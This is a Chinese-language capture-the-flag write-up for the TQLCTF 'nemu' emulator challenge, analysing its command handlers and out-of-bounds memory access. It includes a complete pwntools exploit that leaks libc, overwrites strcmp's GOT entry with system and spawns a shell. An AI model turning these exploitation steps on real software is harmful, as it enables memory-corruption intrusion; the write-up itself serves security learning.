tqlctf-nemu

tqlctf的nemu题目复现。开学了但是被疫情困在寝室,正好可以学习一番。主要基于官方wp。发现虚拟机很好的一点是会给源码。

题目分析

题目下载及exp

https://github.com/Nicholas-wei/pwn/tree/main/tqlctf/nemu

一道给了源码的虚拟机题。先看看有什么保护

image-20220223213608778

没有PIE,got表也可写。

查看虚拟机源码,发现最主要的是这些指令

image-20220223213701540

接下来一个一个函数看过来(好像操作系统)

cmd_help

根据参数,输出指令对应的用处说明。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
static int cmd_help(char *args) {

/* extract the first argument */

char *arg = strtok(NULL, " "); // 寻找相应指令

int i;



if (arg == NULL) {

/* no argument given */

for (i = 0; i < NR_CMD; i ++) {

printf("%s - %s\n", cmd_table[i].name, cmd_table[i].description);

}

}

else {

for (i = 0; i < NR_CMD; i ++) {

if (strcmp(arg, cmd_table[i].name) == 0) { // 在cmd_table中寻找到相应内容

printf("%s - %s\n", cmd_table[i].name, cmd_table[i].description);

return 0;

}

}

printf("Unknown command '%s'\n", arg);

}

return 0;

}

cmd_c

调用cpu_exec函数。这个函数比较复杂,不分析了

1
2
3
4
5
6
7
static int cmd_c(char *args) {

cpu_exec(-1); // 参数为-1表示一直执行

return 0;

}

cmd_si

其实相当于调用cpu_exec一共n次。

cmd_info

可以查看断点以及寄存器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
static int cmd_info(char *args){

if(args == NULL) {printf("Please input argument\n"); return 0;}

else{

//split string

char *n_str = strtok(args, " ");

if(!strcmp(n_str,"r")){

//print all regeister

for(int i=0; i<8; i++){

printf("%s:\t%#010x\t", regsl[i], cpu.gpr[i]._32);

printf("\n");

}

}

else if(!strcmp(n_str,"w")){

list_watchpoint(); // 查看监视点

}

}

return 0;

}

cmd_x

可以查看内存的值。这里很有意思,可以像gdb一样。不知道gdb是不是也是这样实现的?

这里注意,x并没有检查需要阅读的地址偏移量是否超出pmem的大小。如果超出可能岛主越界读。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
static int cmd_x(char *args){
if(args == NULL){printf("Please input argument\n"); return 0;}

else{

printf("%-10s\t%-10s\t%-10s\n","Address","DwordBlock","DwordBlock");

char *n_str = strtok(args, " ");

if(!memcmp(n_str,"0x",2)){ // 如果是16进制并且只打印这个地址中的数字

long addr = strtol(n_str,NULL,16);

printf("%#010x\t",(uint32_t)addr);

printf("%#010x\n",vaddr_read(addr,4));

}

else{ // 要打印地址中的多个数字

int n = atoi(n_str);

n_str = strtok(NULL, " ");

long addr = strtol(n_str,NULL, 16);

while(n){

printf("%#010x\t",(uint32_t)addr);

for(int i=1; i<=2; i++){

printf("%#010x\t",vaddr_read(addr,4)); // 获取地址中的数据

addr += 4; // 找到下一个地址

n--;

if(n == 0) break;

}

printf("\n");

}

}

}

return 0;
}

注意其中的vaddr_read,提供了读取地址中的数值。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
uint32_t vaddr_read(vaddr_t addr, int len) {
return paddr_read(addr, len);
}

uint32_t paddr_read(paddr_t addr, int len) {
return pmem_rw(addr, uint32_t) & (~0u >> ((4 - len) << 3));
}


#define pmem_rw(addr, type) *(type *)({\
guest_to_host(addr); \
})

/* convert the guest physical address in the guest program to host virtual address in NEMU */
#define guest_to_host(p) ((void *)(pmem + (unsigned)p))

这里的guest就是NEMU中运行的进程的地址。hosu时NEMU。可以看到关键在于pmem_rw中对地址采取了解引用。而地址转换的具体过程就是((void *)(pmem + (unsigned)p))。那么pmem是什么?我们合理猜测他是某个基地址。p就是偏移。向上追溯,p其实是addr,而后面的length似乎只是一个NEMU中地址长度数据。

1
2
#define PMEM_SIZE (128 * 1024 * 1024)
uint8_t pmem[PMEM_SIZE] = {0};

cnd_w

用来设置watchpoint

其中watchpoint的数据结构如下所示

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
typedef struct watchpoint {

int NO;

struct watchpoint *next;



/* TODO: Add more members if necessary */

char exp[30];

uint32_t old_val;

uint32_t new_val;



} WP;

以下是设置部分。大致是将WP转换成一个链表结构。其中我们的输入是一个表达式,最后将被算出来数值,放在wp->old_val中。表达式自身将被放在wp->exp中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
void set_watchpoint(char *args){

bool flag = true;

uint32_t val = expr(args, &flag);



if (!flag) {

printf("You input an invalid expression, failed to create watchpoint!");

return ;

}



WP *wp = new_wp();

wp->old_val = val;

memcpy(wp->exp, args, 30);



if (head == NULL) {

wp->NO = 1;

head = wp;

}

else {

WP *wwp;

wwp = head;

while (wwp->next != NULL) {

wwp = wwp->next;

}

wp->NO = wwp->NO + 1;

wwp->next = wp;

}

return ;

}


cmd_p

用于打印变量数据,或者计算一些表达式的值。其中调用expr()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
static int cmd_p(char *args){

if(args == NULL){printf("Please input argument\n"); return 0;}

else{

bool success = false;

uint32_t result = expr(args, &success);

if(!success){

printf("Wrong express!\n");

return 0;

}

else{

printf("%#x\n",result);

}

}

return 0;



}

// expr()
uint32_t expr(char *e, bool *success) {

// make token用于区分数字和寄存器。其中数字则转换成整型,寄存器则从寄存器中读出数据。
if (!make_token(e)) {

*success = false;

return 0;

}

// 以下是一些表达式求值
else{

for(int i=0; i<nr_token; i++){

if(tokens[i].type == '-' && ( i==0 || tokens[i-1].type == '+'\

|| tokens[i-1].type == '-' || tokens[i-1].type == '*'\

|| tokens[i-1].type == TK_EQ || tokens[i-1].type == TK_NQ \

|| tokens[i-1].type == TK_AND || tokens[i-1].type == TK_OR\

|| tokens[i-1].type == NOT|| tokens[i-1].type == NEG)){

tokens[i].type = NEG;

}

}

for(int i=0; i<nr_token; i++){

if(tokens[i].type == '*' && ( i==0 || tokens[i-1].type == '+'\

|| tokens[i-1].type == '-' || tokens[i-1].type == '*'\

|| tokens[i-1].type == TK_EQ || tokens[i-1].type == TK_NQ \

|| tokens[i-1].type == TK_AND || tokens[i-1].type == TK_OR\

|| tokens[i-1].type == NOT || tokens[i-1].type == NEG ||tokens[i-1].type == DEREF)){

tokens[i].type = DEREF;

}

}

*success = true;

return eval(0,nr_token-1);

}



}

设置和取消watchpoint的函数不详细写了。似乎没什么重要的。就是实现了一个储存观察点的链表结构。

cmd_set

可以用来设置内存。逻辑其实也不复杂,就是将目标地址和数据经过expr()计算后,调用之前的vaddr_write进行写入。这里似乎经过计算得到的data并没有设置大小。是否可以越过pmem越界写?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
static int cmd_set(char *args){

paddr_t dest_addr;

uint32_t data;

bool success = false;





if(args == NULL) {

printf("Please input argument\n");

return 0;

}

else{

//split string

char *dest_addr_str = strtok(args, " ");

char *data_str = strtok(NULL, " ");

if( (dest_addr_str==NULL) || (data_str == NULL)){

printf("wrong argument\n");

return 0;

}

dest_addr = expr(dest_addr_str, &success);

if(!success) {

printf("Wrong express!\n");

return 0;

}

data = expr(data_str, &success);

if(!success) {

printf("Wrong express!\n");

return 0;

}

vaddr_write(dest_addr, 4, data);

return 0;

}

}

漏洞分析

个人认为漏洞还是集中在cmd_set、cmd_p这两个操作上。因为这个涉及和HOST的内存交互。也就是下面两个宏定义。

1
2
3
4
5
/* convert the guest physical address in the guest program to host virtual address in NEMU */
#define guest_to_host(p) ((void *)(pmem + (unsigned)p))

/* convert the host virtual address in NEMU to guest physical address in the guest program */
#define host_to_guest(p) ((paddr_t)((void *)p - (void *)pmem))

尝试调试程序。通过以下命令开启源码调试

1
(gdb) dir ./nemu_source_code/nemu

对比一下paddr_read的汇编和源码

image-20220223233918362

image-20220223233716394

rdi参数其实就是addr,也就是pmem中的偏移。以下0x6a3b80是pmem的地址。这里加上0x100001是寄存器rdi中的内容。

image-20220223234032507

可以看到,对于pmem的大小范围内的数据并没有限制偏移(addr)大小。因此可以用上述两操作完成越界读写。

泄露libc地址

由于上述代码中限定了addr只能是无符号数字,而GOT表开始位置比0x6a3b80小很多,因此不能打印GOT表。

image-20220224110019517

但是经过调试发现,在和pmem偏移为0x8001d88位置,存在libc相关信息

image-20220224110150166

但是我们每次只能打印4字节。因此打印两遍即可。使用x指令的越界读即可完成。

1
2
3
4
5
6
7
8
9
10
send('x 0x8001d88') # get part libc
io.recvuntil(' ')
libc_info1 = int(io.recvuntil('\n',drop=True),16) # the low addr
send('x 0x8001d8c')
io.recvuntil(' ')
libc_info2 = int(io.recvuntil('\n',drop=True),16) # the high addr
libc_info = (libc_info2 << 32) + (libc_info1)
success("libc_info: " + hex(libc_info))
libc_base = libc_info - 0x3c4ce8
success("libc_base: " + hex(libc_base))

但是上述方法似乎仅在gdb连着的时候有效。还是第一次碰到这种问题。用gdb直接打开进程和用gdb.attach()打开进程结果会不一样,这里也才发现。用gdb.attach打开时,上述内容全部为0,并且0x86a5900不可访问。

image-20220224140407445

因此只能通过下面的方法,修改head指针为一个GOT地址,再打印出来。其中打印的时候调用如下函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
void list_watchpoint(){
WP *head2 = head;
if(head == NULL) {
printf("No watch pint to delete\n");
return;
}
printf("NO Expr Old Value New Value\n");
while(head2){
printf("%d %-18s %#x %#x\n",head2->NO,head2->exp,head2->old_val,head2->new_val);
head2 = head2->next;
}
return;
}

由于需要对内存解引用,我们要确保head2->exp是可以解引用的,并且head->next为NULL。head->next的偏移在0x4的位置,exp在0x4+0x8。

image-20220224140205513

由此,我们只需要选择0x60eff8-0x4=0x60eff4(但是经过调试,发现很奇怪还是需要再减去0x4,这里是真的不知道为什么,反正调试的方法就是看next是不是0)

使用0x60eff0输出可以得到下图的结果。可以看到打印出的就是free的libc。这样我们可以获得一个libc

image-20220224141405879

写入system

在利用set写入的时候碰到一些问题。就是发现往上层写GOT,无符号数不允许,但是往下写hook函数,又会超过32位大小范围。到这里有点卡住不会了。

其实在调试pmem后面地址的时候也有发现,可以用pmem修改任意全局变量的地址。其中set_watchpoint的head指针也可以被改掉。

image-20220224113640343

1
2
3
4
5
6
7
8
9
10
11
12
  if (head == NULL) {
wp->NO = 1;
head = wp;
}

typedef struct watchpoint {
int NO;
struct watchpoint *next;
char exp[30];
uint32_t old_val;
uint32_t new_val;
} WP;

注意到这里其实是head=wp,那么*head其实是wp->NO。这样就好办了,我们只需要设置head为某个GOT表的前面位置就行了。查看数据结构,只需要放在偏移为(-0x8+0x4)的地方即可。注意到我们只能写入到old_val地方(会检查是否能够求值,不能写入wp->exp)因此需要有一定的偏移。

然而,尝试了直接写入,因为首先不能直接写head(解引用next会导致出错)这个任意地址写也有点困难。看了wp才知道是真的有点难,利用了一段上面没有分析到的代码。

1
2
3
4
5
6
7
8
9
10
11
WP *new_wp(){
if(free_ == NULL){
assert(0);
}
//unlink
WP *temp = free_;
free_ = free_->next;
//insert
temp->next = NULL;
return temp;
}

这是当我们新建一个watch point时,nemu会先检查是不是有已经释放的,如果有就拿出来,对其进行写。似乎这里才是真正的任意地址写。而且free_也是一个全局变量

image-20220224145004149

free_就在Head前面,也可以被操控。因此把free_改成我们想要写入的地址附近(这里似乎没有什么检查)可以通过调试看出来偏移为多少的地方可以写入数据。

image-20220224145225528

当我们直接将free_写入strcmp时,可以看到如下偏移位置被写入了0xdeadbeef。因此我们将之前的位置改为-0x30即可在strcmp上写入0xdeadbeef。同时由于只能低地址写入,可以接应strcmp的高2字节,直接在后面写入system。

image-20220224145614691

如下为成功改好了的GOT

image-20220224150010870

之后直接info(/bin/sh)就能拿到一个shell

image-20220224150252708

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
from pwn import *
filename="./nemu"
libc_name="./libc-2.23.so"
io = process(filename)
# context.log_level='debug'
elf=ELF(filename)
libc=ELF(libc_name)
context.terminal=['tmux','split','-hp','60']

def send(con):
io.recvuntil('(nemu)')
io.sendline(con)

def debug(breao=True):
cmd= ""
cmd += "dir /home/nicholas/Desktop/pwn/tqlctf/nemu/nemu_source_code/nemu\n"
cmd +="b vaddr_read\n"
cmd +="b vaddr_write\n"
cmd +="b paddr_read\n"
cmd +="b paddr_write\n"
cmd +="b cmd_set\n"
cmd +="b cmd_w\n"
gdb.attach(io,cmd)
if(breao):
send('x 0x100')


# send('x 0x8001d88') # get part libc
# io.recvuntil(' ')
# libc_info1 = int(io.recvuntil('\n',drop=True),16) # the low addr
# send('x 0x8001d8c')
# io.recvuntil(' ')
# libc_info2 = int(io.recvuntil('\n',drop=True),16) # the high addr
# libc_info = (libc_info2 << 32) + (libc_info1)
# success("libc_info: " + hex(libc_info))
# libc_base = libc_info - 0x3c4ce8
# success("libc_base: " + hex(libc_base))

# set head to sth before GOT
send('set 0x8000448 0x60eff0')
# debug(False)
send('info w')
io.recvuntil('0x')
libc_info1 = int(io.recvuntil(' ',drop=True),16)
io.recvuntil('0x')
libc_info2 = int(io.recvuntil('\n',drop=True),16)
libc_info = (libc_info2<<32)+libc_info1
success("libc_info: " + hex(libc_info))
# debug()
libc_base = libc_info - 0x084540
success("libc_base: " + hex(libc_base))
# io.recvuntil('0x')


strcmp_got = 0x000000000060f0f0
system = (libc_base + libc.sym['system']) &0xffffffff
target_addr = strcmp_got -0x30
send('set 0x8000448 0')
# change head to strcmp's got
send('set 0x8000440 0x%x' % target_addr)
# change
# debug()
send('w 0x%x' % system)


info("/bin/sh\x00")

io.interactive()

总结一下:一个完全无限制的越界读写问题。但是看似简单,读写操作的时候还需要经过一些检查。很值得一做。很适合作为VM pwn的入门题目仔细分析(正好也有源码,漏洞很经典)

文章目录
  1. 1. 题目分析
    1. 1.1. cmd_help
    2. 1.2. cmd_c
    3. 1.3. cmd_si
    4. 1.4. cmd_info
    5. 1.5. cmd_x
    6. 1.6. cnd_w
    7. 1.7. cmd_p
    8. 1.8. cmd_set
  2. 2. 漏洞分析
    1. 2.1. 泄露libc地址
    2. 2.2. 写入system
    3. 2.3. exp
|